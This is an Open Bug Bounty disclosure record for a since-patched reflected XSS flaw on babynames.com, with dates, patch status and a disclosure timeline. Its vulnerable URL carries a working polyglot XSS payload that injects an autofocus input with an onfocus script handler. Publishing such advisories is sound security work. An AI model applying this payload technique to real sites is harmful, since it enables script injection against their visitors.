babynames.com XSS vulnerability

2017-10-12T10:22:00
ID OBB:336056
Type openbugbounty
Reporter Cole
Modified 2017-11-12T02:41:00

Description

Vulnerable URL:
https://www.babynames.com/Names/search.php/%3C!'/*!%22/*!/'/*/%22/*--!%3E%3CInput/Type=Text%20AutoFocus%20*/;%20OnFocus=confirm('openbugbounty')%20//%3E%3CSvg%3E#
Details:

Description| Value
---|---
Patched:| Yes, at 01.11.2017
Latest check for patch:| 01.11.2017 01:42 GMT
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 108739
VIP website status:| No
Check babynames.com SSL connection:| (Grade: A+) [re-test in progress]

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability submitted via Open Bug Bounty| 12 October, 2017 10:22 GMT
Generic security notifications sent to website owner| 12 October, 2017 10:25 GMT
Customized security notification sent to website owner| 12 October, 2017 10:25 GMT
Notification sent to subscribers (without technical details)| 12 October, 2017 14:17 GMT
Vulnerability details disclosed by researcher| 11 November, 2017 11:23 GMT
Vulnerability patched by the website owner| 12 November, 2017 02:41 GMT